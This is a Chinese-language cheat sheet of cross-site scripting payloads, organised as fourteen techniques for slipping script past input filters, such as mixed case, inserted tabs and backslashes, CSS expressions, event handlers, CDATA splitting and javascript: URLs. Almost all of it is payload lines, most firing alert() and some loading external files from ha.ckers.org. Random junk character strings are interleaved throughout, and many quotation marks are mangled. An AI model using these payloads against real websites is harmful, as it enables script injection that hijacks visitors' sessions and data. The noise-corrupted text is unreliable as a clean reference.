1. 改变字符大小写
4 M* n: b; O4 b4 w4 k4 ^9 o) |
, v& ]3 F0 i' A' F- t2 {
9 r# j! x- O3 X& x8 e5 f) @9 z; E% g5 U9 u0 h8 m; ?9 s# [/ {
<sCript>alert(‘d’)</scRipT>" t0 r9 Y. p# h, Z7 i
9 J/ @( S! @. m7 Z d1 a" N2 x) H( o
2. 利用多加一些其它字符来规避Regular Expression的检查
2 ^' `& }; e3 F- \% {( T8 C+ Y% f' {) m6 ?% y
<<script>alert(‘c’)//<</script>
7 [4 j: w8 i% `- @" u: B
4 w( }0 C6 |5 g: K. J <SCRIPT a=">" SRC="t.js"></SCRIPT>
$ |% e5 s6 O O2 n; x7 r# a1 a: i' p
& Y2 Y- {- t$ A <SCRIPT =">" SRC="t.js"></SCRIPT>2 K, l) J% ~; D' [, g
! N* |* }, I3 n9 k+ |, I% U! e
<SCRIPT a=">" ” SRC="t.js"></SCRIPT>
5 l, `+ O ]+ [3 P1 k; ]% g" @& Y+ i Z: b7 R: D: {! `
<SCRIPT "a=’>’" SRC="t.js"></SCRIPT># ]/ S* [; }2 ]' a
9 F% h6 M+ e6 d! W- s$ {6 F
<SCRIPT a=`>` SRC="t.js"></SCRIPT>
6 J* r+ i9 G0 a( x
@( ?; h- Z k7 ^. W* B2 L <SCRIPT a=">’>" SRC="t.js"></SCRIPT>
; w0 w7 E2 t, E0 z. J8 o+ H6 |: v) D/ G2 U# R% C+ Z# x% o
3. 以其它扩展名取代.js
L6 V0 P8 p% q! i* M/ n
! e7 O+ D! h' w0 N1 f+ |( K- w <script src="bad.jpg"></script>
+ P" r/ U# v Q% C' ^2 ^3 ]
' q" ~) ?* k& \( Y2 A+ A4. 将Javascript写在CSS档里
. ^2 s# {$ H8 Z- R9 f7 `
! X% G0 T8 N+ u <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
3 r9 h. z3 |* l8 p( I8 G6 ?$ N/ P
0 }( B0 Z+ K) ^- p2 ~8 r5 N example:$ O$ \; I4 t, h+ O4 H% g
5 \4 Y* p' t5 \
body {! n* O n1 ?' {5 N, t
& W& U' d7 e& w+ X. G: { background-image: url(‘javascript:alert("XSS");’)
' U/ u- f' G, ^. f1 ]8 c a6 a3 o0 Q0 v! t6 B
}! }2 ~" u1 w. \ v) z
$ U- }9 i! a6 d9 S' q5. 在script的tag里加入一些其它字符, @3 \9 y% W, C3 m7 h
' _" w2 m; {% j$ e2 i! B
<SCRIPT/SRC="t.js"></SCRIPT>
' r: |9 g! b' n, x# J" a1 R6 M& H1 f/ m1 A
<SCRIPT/anyword SRC="t.js"></SCRIPT>2 ?; T# I' r# F8 T4 M# m( l
" f u# ~5 G* v# L5 B
6. 使用tab或是new line来规避
7 a& i! z- @& ]
- R& p5 g* y$ ^8 V4 ?2 F4 i+ c <img src="jav ascr ipt:alert(‘XSS3′)">
) K+ h. S" s3 z' \6 h/ c
5 C1 ~0 B/ ^- z+ U <img src="jav ascr ipt:alert(‘XSS3′)">
. C! q) S6 g0 b! F# t$ {% ?* E# `6 k8 |2 n+ V3 x
<IMG SRC="jav ascript:alert(‘XSS’);">' m2 l+ [2 p! l' h! G- S
6 r6 ?0 p A$ Q9 I T: g4 [6 }
-> tag9 p' q& K0 _2 b" p' _
3 m6 @% Q8 E% F
-> new line
5 t9 _2 I% _% f$ Z9 X5 ?0 j
/ h' L0 O8 S6 F7 h7. 使用"\"来规避
# H1 _8 o. r# c4 E% J; I& q" n# g0 @
<STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>
2 F- [' t; O/ |2 X0 {9 I0 q$ D) K/ u; ?, t: i& O
<IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>
& m* n ]8 e7 |, g, O! `! a9 K
# D1 Q# h8 l! n( z3 e4 |+ o <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">8 K6 Z* W6 |3 i A
. q0 D+ W% J* W( t0 c) F- [
<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
/ n: Z _& C f/ x5 |& Q' K% z7 P/ ? W* ?' J
<A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>
5 t2 e0 e+ j7 A" b" ], m
$ w' L$ A$ ]" q* A8. 使用Hex encode来规避(也可能会把";"拿掉)9 z4 z& q! f" s# T) w8 X! o
5 |% M! N( b; Y
<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">0 j2 d1 w# N$ }4 R2 [6 E8 t
8 ^6 W6 P2 l. Z) \% x 原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
, W7 B$ E- F# {% I& m+ w6 ~0 r
: I$ E* w e& n <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">5 @* R- z$ ~! ?1 Z& n
0 M3 }! U; u( r* h$ ]1 D; D 原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">9 q% O$ m n$ z& a
2 e' D" A& s, {2 {8 L: ?9 W9. script in HTML tag
+ ^$ t3 d( Q: t/ V& F
* t( `) S% N' E! P+ \( r <body onload=」alert(‘onload’)」>
2 J7 R. m" J0 j- X0 E- w$ d. `
! K6 p' ~% M- |- K8 T+ [; ^ onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload9 l( e/ ~( m! }% K* \" w! {
, Y+ T" g& m- K- n$ t9 r2 F10. 在swf里含有xss的code
4 ]/ I& A& o; `0 n; |, a$ B# S& x9 g/ e' v; T
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
* l1 g5 T* ~/ ~) q# V" n( ~
9 j' J% m9 A! v' g11. 利用CDATA将xss的code拆开,再组合起来。; C8 Z5 W t1 {( S* o
) c' @5 h( u! V, i4 e <XML ID=I><X><C>$ F2 O/ k3 |' F7 L- y
1 o0 H( H @# N2 A# v/ R
<![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>% o; }2 p3 v% l* O! D
) b. ?2 s7 |6 f3 N </C></X>
# l! A& z! J5 z* E1 M8 l8 R( ^7 j# s
</xml>
) U5 P% V) C' j7 [, l) }
+ m. l; ^+ M0 M) X- [) { <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
4 N# e' o: E$ L% l+ B A9 P9 e
9 o% w7 Y3 T' _8 n) x <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>5 R p# o7 }; l7 w4 p9 f
' M! {' r6 u( l" V+ y
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>! w: l; o2 w, u' W" } k
) j0 z5 e: L0 b12. 利用HTML+TIME。5 R0 B$ l. G E6 k- o8 w- E6 m w
- R. U& Y; \# C' z <HTML><BODY>' U* n0 x# r8 M' N5 }9 r6 ?
& }8 Z8 J9 A3 U6 ]9 V
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">0 L) M: \3 V# ?* d
0 p0 Q$ l# P! [ S
<?import namespace="t" implementation="#default#time2">" Y* E( A' C! N+ R) c( g
! @" |1 B* F9 b5 |) G& U* z <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>"># J, m. w$ P/ ]0 o9 I* \2 T
1 f @7 C9 z! \" L3 H
</BODY></HTML>
9 N* [: Z3 g. @! s7 M+ L/ E2 S$ L+ a5 X5 N) I1 k: Y% u5 ~
13. 透过META写入Cookie。
' w% k p. G0 w' J0 F9 R
+ i! i4 `. }/ H: |) q <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>"> H) S: e* {) Y% K
8 Q) T) X: W: T7 S' u* O4 H
14. javascript in src , href , url
; j+ R8 V4 x- m4 w }# ~; ?# W
' V( x! z: D" X+ x& ^: _# u <IFRAME SRC=javascript:alert(’13′)></IFRAME>3 y$ r/ S+ \, u& K
: v& Q9 q) h* q1 _
<img src="javascript:alert(‘XSS3′)">
" @+ O: B/ c2 H" ]4 I3 k
. C/ j) o, q& G a- g<IMG DYNSRC="javascript:alert(‘XSS20′)">
, W0 O3 }, ], w$ E
1 `6 n2 j# F' v y/ ] <IMG LOWSRC="javascript:alert(‘XSS21′)">
; \: h7 k) W& J% f
U+ U: y9 \& I& c <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">6 f" n( X$ E, T! Z. f) N
' M1 _4 T; w$ |$ N7 ?& [- F
<IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>
1 A2 c7 E* b1 g7 d, T9 b. E5 J
<TABLE BACKGROUND="javascript:alert(‘XSS29′)">
7 F, e3 d6 r2 D2 g
. A3 M9 }1 P& w8 | <DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">7 M. r$ W: E0 H9 t# I' X
8 i3 c% Z, L! V/ I e
<STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}
% L! r# O6 L# M& t D: h$ m" y, x& U6 U& A( Z- |6 C5 s
</STYLE><A CLASS=XSS></A>7 D% P. B' C' B* ]# N
Y( S- D+ ], c+ ~+ T
<FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>
) C( F& c. ^0 d5 v% K7 z$ a. M' U$ e$ o: B& q
|